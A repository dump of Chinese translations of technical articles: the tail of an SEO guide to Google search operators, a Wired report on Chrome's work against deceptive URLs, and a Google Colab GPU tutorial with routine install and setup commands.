subdomains](https://ahrefs.com/blog/wp-content/uploads/2018/05/competitor-blog-subdomains.png)\n\n过滤一下。\n\n![](https://ahrefs.com/blog/wp-content/uploads/2018/05/competitor-blog-search.jpg)\n\n这才像话。大概 2200 篇文博文。\n\n现在我们知道竞争对手（SEMrush）总共有大概 2200 篇博文。\n\n现在看看上个月他们发表了多少文章。\n\n因为 `daterange:` 已经不能用了，要用谷歌内置的过滤器。\n\n**Tools \\> Any time \\> select time period**\n\n![competitor blog posts month](https://ahrefs.com/blog/wp-content/uploads/2018/05/competitor-blog-posts-month.gif)\n\n旁注：\n\n任何时间段都可以。只需选择“自定义”。\n\n大约 29 篇。有意思。\n\n另外说一句，比我们更新速度快了差不多 4 倍。而且他们文章总数比我们多十五倍。\n\n不过我想补充一句，我们的流量更多，大概是 2 倍。😉\n\n![ahrefs vs competitor](https://ahrefs.com/blog/wp-content/uploads/2018/05/ahrefs-vs-competitor.jpg)\n\n[质量比数量更重要](https://ahrefs.com/blog/increase-blog-traffic/)，对吧！？\n\n还可以用结合 `site:` 操作符的搜索查看竞争对手就某一话题发表的内容数量。\n\n![competitor site topic operator](https://ahrefs.com/blog/wp-content/uploads/2018/05/competitor-site-topic-operator.gif)\n\n### 15. 查找链接到竞争对手的网站\n\n竞争对手的链接数在增长？\n\n如果你也能获得这些链接呢？\n\n谷歌的 `link:` 操作符在 2017 年被正式废弃了。\n\n不过我发现这个操作符还是会返回一些结果。\n\n![competitor links search](https://ahrefs.com/blog/wp-content/uploads/2018/05/competitor-links-search.gif)\n\n旁注：\n\n使用这个方法时记得用 `site` 操作符排除掉竞争对手自己的网站。如果不排除掉，他们内部的链接也会被算进来。\n\n大概 90 万个链接。\n\n想看到更多链接吗？\n\n谷歌的数据被严重简化了。\n\n所以也不太准确。\n\n[Site Explorer](https://ahrefs.com/site-explorer) 可以提供关于竞争对手更全面的链接报告。\n\n![competitor backlinks site explorer](https://ahrefs.com/blog/wp-content/uploads/2018/05/competitor-backlinks-site-explorer.png)\n\n大概 150 万个回链。\n\n这比谷歌的结果多多了。\n\n这也是个说明时间段过滤器很有用的好例子。\n\n过滤只看最近的一个月的结果，我发现 Moz 增加了 18000 多个新回链。\n\n![competitor links month](https://ahrefs.com/blog/wp-content/uploads/2018/05/competitor-links-month.gif)\n\n非常有用吧。不过数据真的很不准确。\n\nSite Explorer 在同时间段发现了 35000 多个链接。\n\n![35k links site explorer](https://ahrefs.com/blog/wp-content/uploads/2018/05/35k-links-site-explorer.png)\n\n基本上**加倍了**！\n\n推荐阅读\n\n*   [7 Actionable Ways to Loot Your Competitors’ Backlinks](https://ahrefs.com/blog/get-competitors-backlinks/)\n*   [The Ultimate Guide to Reverse Engineering Your Competitor’s Backlinks](https://ahrefs.com/blog/the-ultimate-guide-to-reverse-engineering-your-competitors-backlinks/)\n\n## 总结\n\n谷歌高级搜索操作符**强大到变态**。\n\n你只需要知道如何使用这些操作符。\n\n不过我得承认，尤其就 SEO 而言，一些操作符比其他的更有用。我基本上每天都在用 `site:`，`intitle:`，`intext:` 和 `inurl:`。不过我很少会用到 `AROUND(X)`，`allintitle:` 以及其他更默默无闻的操作符。\n\n我要补充一点，不少操作符在和其他操作符组合使用时才有用，单独用的话就没什么用了。\n\n放手去玩，试试这些操作符，告诉我你都想到了什么好主意。\n\n我愿意把你发现的操作符组合用法补充到本文中。🙂\n\n![Joshua Hardwick](https://ahrefs.com/blog/wp-content/uploads/2018/04/photo-of-me-425x425.jpg)\n\n[Joshua Hardwick](https://ahrefs.com/blog/author/joshua-hardwick/ \"Posts by Joshua Hardwick\")\n\nAhrefs 的内容主管（说人话就是，我的职责就是保证我们的每一篇文章都非常赞）。[The SEO Project](http://www.theseoproject.org) 的创始人。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/google-chrome-kill-url-first-steps.md",
    "content": "> * 原文地址：[GOOGLE TAKES ITS FIRST STEPS TOWARD KILLING THE URL](https://www.wired.com/story/google-chrome-kill-url-first-steps/)\n> * 原文作者：[wired.com](https://www.wired.com/story/google-chrome-kill-url-first-steps/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/google-chrome-kill-url-first-steps.md](https://github.com/xitu/gold-miner/blob/master/TODO1/google-chrome-kill-url-first-steps.md)\n> * 译者：[jerryOnlyZRJ](https://github.com/jerryOnlyZRJ)\n> * 校对者：[oshinoOugi](https://github.com/oshinoOugi)，[kikooo](https://github.com/kikooo)\n\n# 谷歌迈出了消除 URL 的第一步\n\n![](https://media.wired.com/photos/5c50d1e7ffef4d2c9d62f609/master/w_1164,c_limit/Google%20Takes%20Its%20First%20Steps%20Toward%20Killing%20the%20URL.jpg)\n\n去年九月，谷歌 Chrome 安全团队成员提出了一项 [激进的提议](https://www.wired.com/story/google-wants-to-kill-the-url/)：取消我们目前所知的网址。研究人员实际上并不主张改变网络的底层基础设施，然而，他们确实希望重新设计浏览器展示您正在查看的网站的方式，这样您就不必面对越来越长且难以理解的网址，以及由于它们而[不断涌现](https://www.wired.com/story/phishing-schemes-use-encrypted-sites-to-seem-legit/)的欺诈行为。周二在湾区的 Enigma 安全会议上的一次演讲中，Chrome 用户安全团队主管 Emily Stark 谈及了这一充满争论的提议，详细介绍了 Google 迈向更健壮的网站标识的第一步。\n\nStark 强调，谷歌并没有试图通过消除网址来引发混乱。相反，它希望使黑客更难以利用用户对网站标识的困惑。目前，复杂 URL 的无尽阴霾让攻击者可以实施有效的诈骗。他们可以创建看似指向合法网站的恶意链接，但实际上会自动将受害者重定向到网络钓鱼页面。或者他们可以设计具有和真实网址看起来一模一样的恶意网页，只要受害者没有注意到他们是在 G00gle 下而不是 Google 就会上当受骗。为了应对如此多的恶意网址欺骗，Chrome 团队已经开展了两个项目，旨在为用户提供一些辨识清晰度。\n\n“我们真正讨论的是改变网站标识的呈现方式，”Stark 告诉 WIRED，“人们应该很容易知道他们所在的网站，并且他们不应该被误导认为他们在另一个网站上，用户不需要有特别专业的互联网工作原理知识就能解决这个问题。”\n\n到目前为止，Chrome 团队的工作重点是找出如何检测出在某种程度上偏离标准做法的网址，其基础是一个名为 TrickURI 的开源工具，与 Stark 的会议论坛同步发布，可帮助开发人员检查他们的软件是否始终准确地显示 URL。该工具的目标是为开发人员提供一些测试方法，以便他们知道在不同情况下 URL 将如何呈现给用户。在 TrickURI 工具之外，Stark 和她的同事也在致力于当用户访问的 URL 具有钓鱼页面的潜在可能时为用户创建警告。这些功能仍在进行内部测试，因为复杂的部分是开发启发式方法，可以正确地标记恶意网站而不会标记合法的网站。\n\n对于谷歌用户来说，防范网络钓鱼和其他在线诈骗的第一道防线仍然是该公司的 [安全浏览平台](https://www.wired.com/story/google-safe-browsing-oral-history/)。但 Chrome 团队正在探索安全浏览的补充，专门针对标记粗略网址。\n\n谷歌\n\n“我们用于检测误导性 URL 的启发式方法包括比较看起来彼此相似的字符以及仅由少量字符相互变化的域名，”Stark 说，“我们的目标是开发一套启发式方法使攻击者不能使用极具误导性的 URL，其中最大的挑战便是避免将合法域名标记为可疑。这就是我们将其作为一个实验性的功能慢慢发布的原因。”\n\n谷歌表示，在 Chrome 团队改进了这些检测功能之前尚未开始向普通用户群开放警告功能。虽然网址近期可能不会有很大改变，但 Stark 强调，关于如何让用户关注网址的重要部分以及改进 Chrome 呈现网页标识的形式还有很多需要做的工作。最大的挑战是向人们展示与其安全性和在线决策相关的 URL 部分，同时以某种方式过滤掉使 URL 难以阅读的所有额外组成部分。浏览器有时也需要通过扩展被缩短或截断的 URL 来帮助用户解决问题。\n\n“整个项目非常具有挑战性，因为 URL 现在对某些人和使用场景还能够得到很好的使用，很多人都喜欢它们，”Stark 说，“我们对使用新的开源 URL-display TrickURI 工具以及我们对可能被混淆的 URL 的还在探索的警告功能所取得的进展感到兴奋。”\n\nChrome 安全团队之前已经解决了很多互联网范围内的安全问题，并在 Chrome 中为他们开发了修复程序，然后抛出了 Google 的重要性以激励每个人采用这种做法。在过去的五年中，该策略在[促进普遍采用](https://www.wired.com/2016/11/googles-chrome-hackers-flip-webs-security-model/)  HTTPS 网络加密的过程中取得了特别的成功。但是[这种方法的批判者](https://www.wired.com/story/google-chrome-https-not-secure-label/)担心 Chrome 的功能和普遍存在的缺点在用于积极的改变的同时也可能被误用或滥用。对于像 URL 这种基础的东西，批判者们担心 Chrome 团队会利用修改网站标识的显示策略的机会，让这些策略对 Chrome 有利，而做一些实际上并没有使网页的其余部分受益的行为。即使是看似微不足道的 Chrome 变化也对 Web 社区的产生了[重大影响](https://www.wired.com/story/google-chrome-login-privacy/)。\n\n此外，这种无处不在的权衡取决于对风险厌恶的企业客户。专注于披露漏洞的公司 Luta Security 的创始人 Katie Moussouris 说：“线上的网址通常无法传达给用户可以快速识别的风险等级，但随着 Chrome 被越来越多的企业采用，而不只是普通用户，他们能够彻底改变可见界面和底层安全架构的能力而将因客户的压力而降低。大受欢迎的不仅仅是保护人们安全的重大责任，还有最大限度地减少原本特色的流失、提升可用性和向后兼容性。”\n\n如果这听起来像特别令人困惑和令人沮丧的工作，那就说明它一定是重点。接下来的问题将是 Chrome 团队的新想法如何在实践中发挥作用，以及它们是否真的最终让您在互联网上更安全。\n\n**更正于1月29日晚上10:30：这篇文章最早写的是 TrickURI 使用机器学习来解析 URL 样本并测试可疑 URL 的警告。它已经过更新，以反映该工具是评估软件是否能够一直准确地显示URL。**\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/google-colab-free-gpu-tutorial.md",
    "content": "> * 原文地址：[Google Colab Free GPU Tutorial](https://medium.com/deep-learning-turkey/google-colab-free-gpu-tutorial-e113627b9f5d)\n> * 原文作者：[fuat](https://medium.com/@fu4t?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/google-colab-free-gpu-tutorial.md](https://github.com/xitu/gold-miner/blob/master/TODO1/google-colab-free-gpu-tutorial.md)\n> * 译者：[haiyang-tju](https://github.com/haiyang-tju)\n> * 校对者：[DevMcryYu](https://github.com/DevMcryYu)\n\n# Google Colab 免费 GPU 使用教程\n\n现在你可以使用 [Google Colaboratory](https://colab.research.google.com/)（带有**免费的 Tesla K80 GPU**）使用 [Keras](https://keras.io/)、[Tensorflow](https://www.tensorflow.org/) 和 [PyTorch](http://pytorch.org/) 来开发**深度学习**的程序了。\n\n![](https://cdn-images-1.medium.com/max/800/1*Kbta9F_ZiRQmvETa-JkOSA.png)\n\n大家好！我将向大家展示如何使用 **Google 面向 AI 开发者的免费云服务 —— Google Colab**。在 Colab 上，你可以使用**免费的 GPU** 来开发深度学习应用程序。\n\n### 感谢 KDnuggets！\n\n我很高兴地宣布，这篇博文在 2018 年 2 月被选为 KDnuggets 的银质博文！文章内容可以在 [KDnuggets](https://www.kdnuggets.com/2018/02/google-colab-free-gpu-tutorial-tensorflow-keras-pytorch.html) 看到。\n\n![](https://cdn-images-1.medium.com/max/800/1*qPFwOR1l8DPwXqAcotrWCA.png)\n\n### Google Colab 是什么？\n\nGoogle Colab 是一个免费的云服务，现在它还支持免费的 GPU！\n\n你可以：\n\n*   提高你的 **Python** 语言的编码技能。\n*   使用 **Keras**、**TensorFlow**、**PyTorch** 和 **OpenCV** 等流行库开发深度学习应用程序。\n\nColab 与其它免费的云服务最重要的区别在于：**Colab** 提供完全免费的 GPU。\n\n关于这项服务的详细信息可以在 [faq](https://research.google.com/colaboratory/faq.html) 页面上找到。\n\n### 准备好使用 Google Colab\n\n#### 在 Google Drive 上创建文件夹\n\n![](https://cdn-images-1.medium.com/max/600/1*9x6GVBOwbAEsx7h8k5ruBw.jpeg)\n\n由于 **Colab** 是在 **Google Drive** 上工作的，所以我们需要首先指定工作文件夹。我在 **Google Drive** 上创建了一个名为 “**app**” 的文件夹。当然，你可以使用不同的名称或选择默认的 **Colab Notebooks** 文件夹，而不是 **app 文件夹**。\n\n![](https://cdn-images-1.medium.com/max/800/1*vtTvpFVdCcsmEXtQA6k2Kw.png)\n\n**我创建了一个空的 “app” 文件夹**\n\n#### 创建新的 Colab 笔记（Notebook）\n\n通过 **右键点击 > More > Colaboratory** 步骤创建一个新的笔记。\n\n![](https://cdn-images-1.medium.com/max/800/1*7XLisHAnGGnflIYyqQja8Q.jpeg)\n\n**右键点击 > More > Colaboratory**\n\n通过点击文件名来**重命名**笔记\n\n![](https://cdn-images-1.medium.com/max/800/1*emOY5nIyYphREEqo6e86jg.png)\n\n### 设置免费的 GPU\n\n通过很简单的步骤就可以将默认硬件**从 CPU 更改为 GPU，或者反过来**。依照下面的步骤 **Edit > Notebook settings** 或者进入 **Runtime > Change runtime type**，然后选择 **GPU** 作为 **Hardware accelerator（硬件加速器）**。\n\n![](https://cdn-images-1.medium.com/max/800/1*WNovJnpGMOys8Rv7YIsZzA.png)\n\n### 使用 Google Colab 运行基本的 Python 代码\n\n现在我们可以开始使用 **Google Colab** 了。\n\n![](https://cdn-images-1.medium.com/max/800/1*lb2htyPfbC5Y9VF8IZGqdQ.png)\n\n我会运行一些 [Python Numpy 教程](http://cs231n.github.io/python-numpy-tutorial/)中**关于基本数据类型**的代码。\n\n![](https://cdn-images-1.medium.com/max/800/1*02ylPr7JIn_qiJkc4iprpw.png)\n\n可以正常运行！:) 如果你对**在 AI 中最流行的编程语言 Python** 还不是很了解，我推荐你去学习这个简明教程。\n\n### 在 Google Colab 中运行或导入 .py 文件\n\n首先运行这些代码，以便安装一些必要的库并执行授权。\n\n```\nfrom google.colab import drive\ndrive.mount('/content/drive/')\n```\n\n运行上面的代码，会得到如下的结果：\n\n![](https://cdn-images-1.medium.com/max/800/1*4AJ2EEn-xtvGAiwsNlDmNQ.png)\n\n**点击** 这个链接，**复制**验证代码并**粘贴**到下面的文本框中。\n\n完成授权流程后，应该可以看到：\n\n![](https://cdn-images-1.medium.com/max/800/1*SwDEbzteA0EeNDcq8m_tdA.png)\n\n现在可以通过下面的命令访问你的 Google Drive 了：\n\n```\n!ls \"/content/drive/My Drive/\"\n```\n\n安装 **Keras**：\n\n```\n!pip install -q keras\n```\n\n上传文件 [mnist_cnn.py](https://github.com/keras-team/keras/blob/master/examples/mnist_cnn.py) 到你的 **Google Drive** 的 **app** 文件夹中。\n\n![](https://cdn-images-1.medium.com/max/800/1*9y7lbgBmG99ZVkGr5b7arQ.png)\n\n**mnist_cnn.py** 文件内容\n\n在 [MNIST 数据集](http://yann.lecun.com/exdb/mnist/)上运行下面的代码来训练一个简单的卷积网络（convnet）。\n\n```\n!python3 \"/content/drive/My Drive/app/mnist_cnn.py\"\n```\n\n![](https://cdn-images-1.medium.com/max/2000/1*Mw8_NcnS-a0TyDG9TVHqqg.png)\n\n从结果可以看到，每轮次（epoch）运行只用了 **11 秒**。\n\n### 下载 Titanic 数据集（.csv 文件）并显示文件的前 5 行内容\n\n如果你想从一个 **url** 中下载 **.csv 文件**到 “**app” 文件夹**，只需运行下面的命令：\n\n> !wget [https://raw.githubusercontent.com/vincentarelbundock/Rdatasets/master/csv/datasets/Titanic.csv](https://raw.githubusercontent.com/vincentarelbundock/Rdatasets/master/csv/datasets/Titanic.csv) -P \"/content/drive/My Drive/app\"\n\n不使用 **wget** 方法，你可以直接将自己的 .csv 文件上传到 “app” 文件夹中。\n\n![](https://cdn-images-1.medium.com/max/800/1*gjyZxq2tUORKLi3Fp_-sEg.png)\n\n读取 “**app**” 文件夹中的 **.csv 文件**并显示**前 5 行的内容**：\n\n```\nimport pandas as pd\ntitanic = pd.read_csv(“/content/drive/My Drive/app/Titanic.csv”)\ntitanic.head(5)\n```\n\n![](https://cdn-images-1.medium.com/max/800/1*Wx-XLmFKjir-jxcVWp2i9g.png)\n\n### 克隆 GitHub 仓库到 Google Colab\n\n使用 Git 可以很轻松克隆 GitHub 仓库。\n\n#### 步骤 1: 找到 GitHub 仓库并获取 “Git” 链接\n\n找到所需的 GitHub 仓库。\n\n比如： [https://github.com/wxs/keras-mnist-tutorial](https://github.com/wxs/keras-mnist-tutorial)\n\n点击 Clone or download（克隆或下载） > Copy the link（复制链接）！\n\n![](https://cdn-images-1.medium.com/max/1000/1*zyxag4hs2vCY1DejIJveZg.png)\n\n#### 2. 使用 Git 克隆\n\n运行以下命令即可：\n\n> !git clone [https://github.com/wxs/keras-mnist-tutorial.git](https://github.com/wxs/keras-mnist-tutorial.git)\n\n![](https://cdn-images-1.medium.com/max/800/1*I1TO_CtAolkNTPDK-vp4Hg.png)\n\n#### 3. 打开 Google Drive 中对应的文件夹\n\n当然，Google Drive 中对应的文件夹与 GitHub 仓库名是相同的。\n\n![](https://cdn-images-1.medium.com/max/1000/1*jE_CBuejVzTT_3ecSjk86w.png)\n\n#### 4. 打开笔记\n\n右键点击 > Open With > Colaboratory\n\n![](https://cdn-images-1.medium.com/max/1000/1*Sm0CLQDJjX0uJMMjLuuhYA.png)\n\n#### 5. 运行\n\n现在你可以在 Google Colab 中运行 GitHub 仓库代码了。\n\n![](https://cdn-images-1.medium.com/max/800/1*Om46o5HRFOC7RgXaWELV-w.png)\n\n### 一些有用的提示\n\n#### 1. 如何安装第三方库？\n\n**Keras**\n\n```\n!pip install -q keras\nimport keras\n```\n\n**PyTorch**\n\n```\nfrom os import path\nfrom wheel.pep425tags import get_abbr_impl, get_impl_ver, get_abi_tag\nplatform = '{}{}-{}'.format(get_abbr_impl(), get_impl_ver(), get_abi_tag())\naccelerator = 'cu80' if path.exists('/opt/bin/nvidia-smi') else 'cpu'\n```\n\n> !pip install -q [http://download.pytorch.org/whl/{accelerator}/torch-0.3.0.post4-{platform}-linux_x86_64.whl](http://download.pytorch.org/whl/%7Baccelerator%7D/torch-0.3.0.post4-%7Bplatform%7D-linux_x86_64.whl) torchvision  \nimport torch\n\n或者试试这个：\n\n`!pip3 install torch torchvision`\n\n**MxNet**\n\n```\n!apt install libnvrtc8.0\n!pip install mxnet-cu80\nimport mxnet as mx\n```\n\n**OpenCV**\n\n```\n!apt-get -qq install -y libsm6 libxext6 && pip install -q -U opencv-python\nimport cv2\n```\n\n**XGBoost**\n\n```\n!pip install -q xgboost==0.4a30\nimport xgboost\n```\n\n**GraphViz**\n\n```\n!apt-get -qq install -y graphviz && pip install -q pydot\nimport pydot\n```\n\n**7zip 阅读器**\n\n```\n!apt-get -qq install -y libarchive-dev && pip install -q -U libarchive\nimport libarchive\n```\n\n**其它库**\n\n`!pip install` or `!apt-get install` to install other libraries.\n\n#### 2. GPU 是否正常工作？\n\n要查看是否在 Colab 中正确使用了 GPU，可以运行下面的代码进行交叉验证：\n\n```\nimport tensorflow as tf\ntf.test.gpu_device_name()\n```\n\n![](https://cdn-images-1.medium.com/max/800/1*rHxgzJWoos7f4AYF90PkzQ.jpeg)\n\n#### 3. 我使用的是哪一个 GPU？\n\n```\nfrom tensorflow.python.client import device_lib\ndevice_lib.list_local_devices()\n```\n\n目前， **Colab 只提供了 Tesla K80**。\n\n![](https://cdn-images-1.medium.com/max/800/1*D-xR_CzTP3_MMt_8UqIj4Q.png)\n\n#### 4. 输出 RAM 信息？\n\n```\n!cat /proc/meminfo\n```\n\n![](https://cdn-images-1.medium.com/max/800/1*EPbmqr--SxC0crhMxoaS9Q.png)\n\n#### 5. 输出 CPU 信息？\n\n```\n!cat /proc/cpuinfo\n```\n\n![](https://cdn-images-1.medium.com/max/1000/1*keRD5wndUyzoxgNUwfWfsQ.png)\n\n#### 6. 改变工作文件夹\n\n一般，当你运行下面的命令：\n\n```\n!ls\n```\n\n你会看到 **datalab 和 drive** 文件夹。\n\n因此，在定义每一个文件名时，需要在前面添加 **drive/app**。\n\n要解决这个问题，更改工作目录即可。（在本教程中，我将其更改为 **app** 文件夹）可以使用下面的代码：\n\n```\nimport os\nos.chdir(\"drive/app\") \n# 译者注：挂载网盘目录后，前面没有切换过目录，这里应该输入\n# os.chdir(\"drive/My Drive/app\")\n```\n\n运行上述代码后，如果你再次运行\n\n```\n!ls\n```\n\n你会看到 **app** 文件夹的内容，不需要再一直添加 **drive/app** 了。\n\n#### 7. “`No backend with GPU available`” 错误解决方案\n\n如果你遇到这个错误：\n\n> Failed to assign a backend\nNo backend with GPU available. Would you like to use a runtime with no accelerator? #指定后端失败。没有可用的 GPU 后端。需要使用没有加速器的运行时吗？\n\n可以稍后再试一次。有许多人现在都在使用 GPU，当所有 GPU 都在使用时，就会出现这种错误信息。\n\n[参考这里](https://www.kaggle.com/getting-started/47096#post271139)\n\n#### 8. 如何清空所有单元行的运行输出？\n\n可以依次点击 **Tools>>Command Palette>>Clear All Outputs**\n\n#### 9. “apt-key output should not be parsed (stdout is not a terminal)” 警告\n\n如果你遇到这个警告：\n\n```\nWarning: apt-key output should not be parsed (stdout is not a terminal) #警告：apt-key 输出无法被解析（当前 stdout 不是终端）\n```\n\n这意味着你已经完成了授权。只需要挂载 Google Drive 即可：\n\n```\n!mkdir -p drive\n!google-drive-ocamlfuse drive\n```\n\n#### 10. 如何在 Google Colab 中使用 Tensorboard？\n\n我推荐参考这个仓库代码：\n\n[https://github.com/mixuala/colab_utils](https://github.com/mixuala/colab_utils)\n\n#### 11. 如何重启 Google Colab？\n\n要重启（或重置）你打开的虚拟机器，运行下面的命令即可：\n\n```\n!kill -9 -1\n```\n\n#### 12. 如何向 Google Colab 中添加表单（Form）？\n\n为了避免每次在代码中更改超参数，你可以简单地向 Google Colab 中添加表单。\n\n![](https://cdn-images-1.medium.com/max/800/1*Cy19qeGZzgllJrtAqOH4OQ.png)\n\n例如，我添加了一个包含有 **`learning_rate（学习率）`** 变量和 **`optimizer（优化器）`** 字符串的表单。\n\n![](https://cdn-images-1.medium.com/max/800/1*kGvfrNrRHwfv1jWtguufkg.png)\n\n#### 13. 如何查看方法的参数？\n\n在 TensorFlow、Keras 等框架中查看方法的参数，可以在方法名称后面**添加问号标识符（?）**：\n\n![](https://cdn-images-1.medium.com/max/800/1*cIrmYPaA5HHR1yLj2UPgAQ.png)\n\n这样不需要点击 TensorFlow 的网站就可以看到原始文档。\n\n![](https://cdn-images-1.medium.com/max/800/1*D324zKvU1Ivu-RvKrOG7Ew.png)\n\n#### 14. 如何将大文件从 Colab 发送到 Google Drive？\n\n```\n# 需要发送哪个文件？\nfile_name = \"REPO.tar\"\n\nfrom googleapiclient.http import MediaFileUpload\nfrom googleapiclient.discovery import build\n\nauth.authenticate_user()\ndrive_service = build('drive', 'v3')\n\ndef save_file_to_drive(name, path):\n  file_metadata = {'name': name, 'mimeType': 'application/octet-stream'}\n  media = MediaFileUpload(path, mimetype='application/octet-stream', resumable=True)\n  created = drive_service.files().create(body=file_metadata, media_body=media, fields='id').execute()\n  \n  return created\n\nsave_file_to_drive(file_name, file_name)\n```\n\n#### 15. 如何在 Google Colab 中运行 Tensorboard？\n\n如果你想在 Google Colab 中运行 Tensorboard，运行下面的代码。\n\n```\n# 你可以更改目录名\nLOG_DIR = 'tb_logs'\n\n!wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip\n!unzip ngrok-stable-linux-amd64.zip\n\nimport os\nif not os.path.exists(LOG_DIR):\n  os.makedirs(LOG_DIR)\n  \nget_ipython().system_raw(\n    'tensorboard --logdir {} --host 0.0.0.0 --port 6006 &'\n    .format(LOG_DIR))\n\nget_ipython().system_raw('./ngrok http 6006 &')\n\n!curl -s http://localhost:4040/api/tunnels | python3 -c \\\n    \"import sys, json; print(json.load(sys.stdin)['tunnels'][0]['public_url'])\"\n```\n\n你可以通过创建 **_ngrok.io_** 链接来追踪 **Tensorboard** 日志。你可以在输出的最后找到这个 URL 链接。\n\n注意，你的 **Tensorboard** 日志将保存到 **tb_logs** 目录。当然，你可以更改这个目录名。\n\n![](https://cdn-images-1.medium.com/max/800/1*ICwiBXUgxwq7i6f_zyn-Nw.jpeg)\n\n之后，我们就可以看到 Tensorboard 了！运行下面的代码，可以通过 ngrok URL 链接来追踪 Tensorboard 日志。\n\n```\nfrom __future__ import print_function\nimport keras\nfrom keras.datasets import mnist\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Dropout, Flatten\nfrom keras.layers import Conv2D, MaxPooling2D\nfrom keras import backend as K\nfrom keras.callbacks import TensorBoard\n\nbatch_size = 128\nnum_classes = 10\nepochs = 12\n\n# 输入图像维度\nimg_rows, img_cols = 28, 28\n\n# the data, shuffled and split between train and test sets\n(x_train, y_train), (x_test, y_test) = mnist.load_data()\n\nif K.image_data_format() == 'channels_first':\n    x_train = x_train.reshape(x_train.shape[0], 1, img_rows, img_cols)\n    x_test = x_test.reshape(x_test.shape[0], 1, img_rows, img_cols)\n    input_shape = (1, img_rows, img_cols)\nelse:\n    x_train = x_train.reshape(x_train.shape[0], img_rows, img_cols, 1)\n    x_test = x_test.reshape(x_test.shape[0], img_rows, img_cols, 1)\n    input_shape = (img_rows, img_cols, 1)\n\nx_train = x_train.astype('float32')\nx_test = x_test.astype('float32')\nx_train /= 255\nx_test /= 255\nprint('x_train shape:', x_train.shape)\nprint(x_train.shape[0], 'train samples')\nprint(x_test.shape[0], 'test samples')\n\n# 将类别向量转换成二分类矩阵\ny_train = keras.utils.to_categorical(y_train, num_classes)\ny_test = keras.utils.to_categorical(y_test, num_classes)\n\nmodel = Sequential()\nmodel.add(Conv2D(32, kernel_size=(3, 3),\n                 activation='relu',\n                 input_shape=input_shape))\nmodel.add(Conv2D(64, (3, 3), activation='relu'))\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\nmodel.add(Dropout(0.25))\nmodel.add(Flatten())\nmodel.add(Dense(128, activation='relu'))\nmodel.add(Dropout(0.5))\nmodel.add(Dense(num_classes, activation='softmax'))\n\nmodel.compile(loss=keras.losses.categorical_crossentropy,\n              optimizer=keras.optimizers.Adadelta(),\n              metrics=['accuracy'])\n\n\ntbCallBack = TensorBoard(log_dir=LOG_DIR, \n                         histogram_freq=1,\n                         write_graph=True,\n                         write_grads=True,\n                         batch_size=batch_size,\n                         write_images=True)\n\nmodel.fit(x_train, y_train,\n          batch_size=batch_size,\n          epochs=epochs,\n          verbose=1,\n          validation_data=(x_test, y_test),\n          callbacks=[tbCallBack])\nscore = model.evaluate(x_test, y_test, verbose=0)\nprint('Test loss:', score[0])\nprint('Test accuracy:', score[1])\n```\n\nTensorboard :)\n\n![](https://cdn-images-1.medium.com/max/800/1*E2UfDvleKBbhydHxMZtQ2g.png)\n\n### 总结\n\n我认为 **Colab** 会给全世界的深度学习和 AI 研究带来新的气息。\n\n如果你发现了这篇文章很有帮助，那么请给它一些掌声 👏，并与他人分享，这将会非常有意义。欢迎在下面留言。\n\n你可以在 [Twitter](https://twitter.com/fuatbeser) 上找到我。\n\n#### 最后请注意\n\n英文原文会持续跟进更新，如有需要请移步[英文原文](https://medium.com/deep-learning-turkey/google-colab-free-gpu-tutorial-e113627b9f5d)。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 